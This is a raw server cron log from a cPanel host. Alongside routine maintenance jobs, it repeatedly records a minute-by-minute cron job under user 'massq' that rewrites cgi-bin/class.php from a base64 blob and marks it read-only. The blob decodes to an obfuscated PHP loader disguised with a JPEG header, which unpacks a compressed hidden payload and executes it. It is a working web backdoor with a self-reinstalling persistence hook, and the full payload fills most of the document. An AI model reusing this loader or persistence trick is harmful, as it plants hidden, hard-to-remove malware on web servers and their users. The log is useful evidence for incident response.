Sep 10 21:45:01 server CROND[26064]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:46:01 server CROND[26978]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:46:01 server CROND[26979]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:46:01 server CROND[26980]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:47:01 server CROND[27350]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:47:01 server CROND[27351]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:47:01 server CROND[27352]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:48:01 server CROND[27729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:48:01 server CROND[27730]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:48:01 server CROND[27731]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:49:01 server CROND[28100]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:49:01 server CROND[28101]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:49:01 server CROND[28102]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:50:01 server CROND[28473]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 21:50:01 server CROND[28474]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 21:50:01 server CROND[28478]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 21:50:01 server CROND[28479]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:50:01 server CROND[28481]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:50:01 server CROND[28480]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:50:01 server CROND[28482]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 21:50:01 server CROND[28484]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 21:50:01 server CROND[28485]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 21:51:01 server CROND[29357]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:51:01 server CROND[29358]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:51:01 server CROND[29360]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:52:01 server CROND[29833]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:52:01 server CROND[29834]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:52:01 server CROND[29835]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:53:01 server CROND[30202]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:53:01 server CROND[30203]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:53:01 server CROND[30204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:54:01 server CROND[30572]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:54:01 server CROND[30573]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:54:01 server CROND[30574]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:55:01 server CROND[30952]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 21:55:01 server CROND[30954]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 21:55:01 server CROND[30959]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:55:01 server CROND[30957]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 21:55:01 server CROND[30958]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:55:01 server CROND[30956]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:55:01 server CROND[30960]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 21:56:01 server CROND[31785]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:56:01 server CROND[31786]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:56:01 server CROND[31787]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:57:01 server CROND[32246]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:57:01 server CROND[32247]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:57:01 server CROND[32248]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:57:01 server CROND[32249]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 21:58:01 server CROND[32613]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
